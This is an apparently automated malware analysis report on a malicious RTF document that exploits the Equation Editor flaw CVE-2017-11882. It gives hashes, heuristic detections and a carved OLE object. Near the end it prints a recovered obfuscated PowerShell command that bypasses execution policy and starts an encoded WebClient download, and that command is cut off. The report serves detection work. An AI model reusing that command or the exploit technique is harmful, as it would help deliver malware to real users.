RTF malware analysis — malicious · 3223b22d0760f366

MALICIOUS

RTF

37.5 KB First seen: 2021-02-23

MD5: c881e382ba6ef89c42e1ea6022a479b1 SHA-1: 66a5331407a8fed00663001fa44478e371bc83b8 SHA-256: 3223b22d0760f3666424d664ab0ab9d646d8e988dc1370072ff88565e53c538b

260 Risk Score

Heuristics 6

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00007962.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x7962	3627 bytes
SHA-256: `09587e033907bcd45f005e111b150c8b04da53b6b3d063bb460c7695539b3513`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): PowERsHELl.ExE -ExecutionPolicy bypass /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEE

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